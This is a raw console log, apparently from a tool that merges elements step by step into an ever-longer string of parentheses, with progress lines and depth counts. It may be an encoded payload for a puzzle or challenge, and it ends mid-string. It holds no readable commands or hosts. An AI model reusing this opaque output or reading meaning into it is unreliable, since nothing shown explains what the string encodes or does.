(()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))) [*] Handling elements 1+2 out of 24 [*] Depth1: 7, Depth2: 4 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())) [*] Handling elements 1+2 out of 23 [*] Depth1: 7, Depth2: 3 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))) [*] Handling elements 1+2 out of 22 [*] Depth1: 7, Depth2: 3 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())) [*] Handling elements 1+2 out of 21 [*] Depth1: 7, Depth2: 3 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()())) [*] Handling elements 1+2 out of 20 [*] Depth1: 7, Depth2: 7 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))()) [*] Handling elements 1+2 out of 19 [*] Depth1: 7, Depth2: 7 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()) [*] Handling elements 1+2 out of 18 [*] Depth1: 7, Depth2: 3 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()())) [*] Handling elements 1+2 out of 17 [*] Depth1: 7, Depth2: 7 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()()))(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) [*] Handling elements 1+2 out of 16 [*] Depth1: 7, Depth2: 2 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()()))(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))(()()()()()()()()()()()()())) [*] Handling elements 1+2 out of 15 [*] Depth1: 7, Depth2: 7 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()()))(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))(()()()()()()()()()()()()()))(((()())()(())()()())((()(())((()))(((())))()()))()) [*] Handling elements 1+2 out of 14 [*] Depth1: 7, Depth2: 4 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()()))(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))(()()()()()()()()()()()()()))(((()())()(())()()())((()(())((()))(((())))()()))()((()()())(()()())((()())()())())) [*] Handling elements 1+2 out of 13 [*] Depth1: 7, Depth2: 6 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()()))(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))(()()()()()()()()()()()()()))(((()())()(())()()())((()(())((()))(((())))()()))()((()()())(()()())((()())()())())(((()()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())) [*] Handling elements 1+2 out of 12 [*] Depth1: 7, Depth2: 4 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()()))(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))(()()()()()()()()()()()()()))(((()())()(())()()())((()(())((()))(((())))()()))()((()()())(()()())((()())()())())(((()()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())((()()()()()()(())()())((()())()())())) [*] Handling elements 1+2 out of 11 [*] Depth1: 7, Depth2: 5 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()()))(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))(()()()()()()()()()()()()()))(((()())()(())()()())((()(())((()))(((())))()()))()((()()())(()()())((()())()())())(((()()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())((()()()()()()(())()())((()())()())())(((()())()(()))((())())()(((()()())()())()()))) [*] Handling elements 1+2 out of 10 [*] Depth1: 7, Depth2: 5 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()()))(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))(()()()()()()()()()()()()()))(((()())()(())()()())((()(())((()))(((())))()()))()((()()())(()()())((()())()())())(((()()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())((()()()()()()(())()())((()())()())())(((()())()(()))((())())()(((()()())()())()()))((()()()())()(((()()())()())()()))) [*] Handling elements 1+2 out of 9 [*] Depth1: 7, Depth2: 2 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()()))(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))(()()()()()()()()()()()()()))(((()())()(())()()())((()(())((()))(((())))()()))()((()()())(()()())((()())()())())(((()()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())((()()()()()()(())()())((()())()())())(((()())()(()))((())())()(((()()())()())()()))((()()()())()(((()()())()())()()))(()()()()())(()()()()()()()())) [*] Handling elements 1+2 out of 8 [*] Depth1: 7, Depth2: 7 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()()))(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))(()()()()()()()()()()()()()))(((()())()(())()()())((()(())((()))(((())))()()))()((()()())(()()())((()())()())())(((()()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(